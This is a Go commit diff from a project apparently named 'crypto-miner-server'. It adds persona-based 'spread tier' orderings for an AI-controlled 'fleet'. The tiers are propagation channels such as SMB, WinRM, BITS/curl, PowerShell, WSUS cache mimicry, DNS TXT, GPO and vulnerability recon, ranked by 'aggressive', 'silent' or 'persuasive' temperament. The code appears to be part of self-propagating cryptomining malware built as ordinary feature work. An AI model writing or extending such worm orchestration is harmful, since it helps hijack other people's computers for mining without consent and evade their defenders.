Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -1,6 +1,11 @@
|
||||
package ai
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
const (
|
||||
PersonaAggressive = "aggressive"
|
||||
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
|
||||
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
|
||||
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
|
||||
func PersonaSpreadTierOrder(mode string) []string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
||||
}
|
||||
case PersonaSilent:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPassive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPersuasive:
|
||||
return []string{
|
||||
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
||||
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
default:
|
||||
return DefaultSpreadTiers()
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
|
||||
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
|
||||
persona := NormalizePersona(mode)
|
||||
order := PersonaSpreadTierOrder(persona)
|
||||
reason := strategy.StrategyReason{
|
||||
Fact: "Calibrate ai_persona=" + persona,
|
||||
Inference: "Fleet AI Control shapes spread propagation personality",
|
||||
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
|
||||
}
|
||||
return strategy.AdaptiveStrategy{
|
||||
TierOrder: order,
|
||||
Reasoning: []strategy.StrategyReason{reason},
|
||||
Confidence: 0.85,
|
||||
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user